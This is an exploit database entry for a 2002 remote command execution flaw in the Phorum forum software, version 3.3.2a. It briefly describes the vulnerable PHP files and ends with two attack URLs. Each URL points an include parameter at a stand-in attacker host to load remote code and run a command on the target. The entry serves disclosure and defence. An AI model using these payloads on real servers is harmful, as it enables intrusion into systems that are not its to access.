Phorum 3.3.2a - Remote Command Execution

2002-05-17T00:00:00
ID EXPLOITPACK:FF82B654DB857D3F119D8BAC6047E122
Type exploitpack
Reporter markus arndt
Modified 2002-05-17T00:00:00

Description

Phorum 3.3.2a - Remote Command Execution

                                        
                                            source: https://www.securityfocus.com/bid/4763/info

Phorum is a PHP based web forums package designed for most UNIX variants, Linux, and Microsoft Windows operating systems.

A vulnerability has been reported in Phorum that will allow remote attackers to specify external PHP scripts and potentially execute commands.

The vulnerability exists in 'plugin.php','admin.php' and 'del.php' files found in the distribution of Phorum. It is possible for a malicious attacker to specify the location of a parameter to the vulnerable PHP files by passing an argument via URL to the PHP files. 

http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls

http://[vulnerablehost]/phorum/admin/actions/del.php?include_path=http://[evilhost]&cmd=ls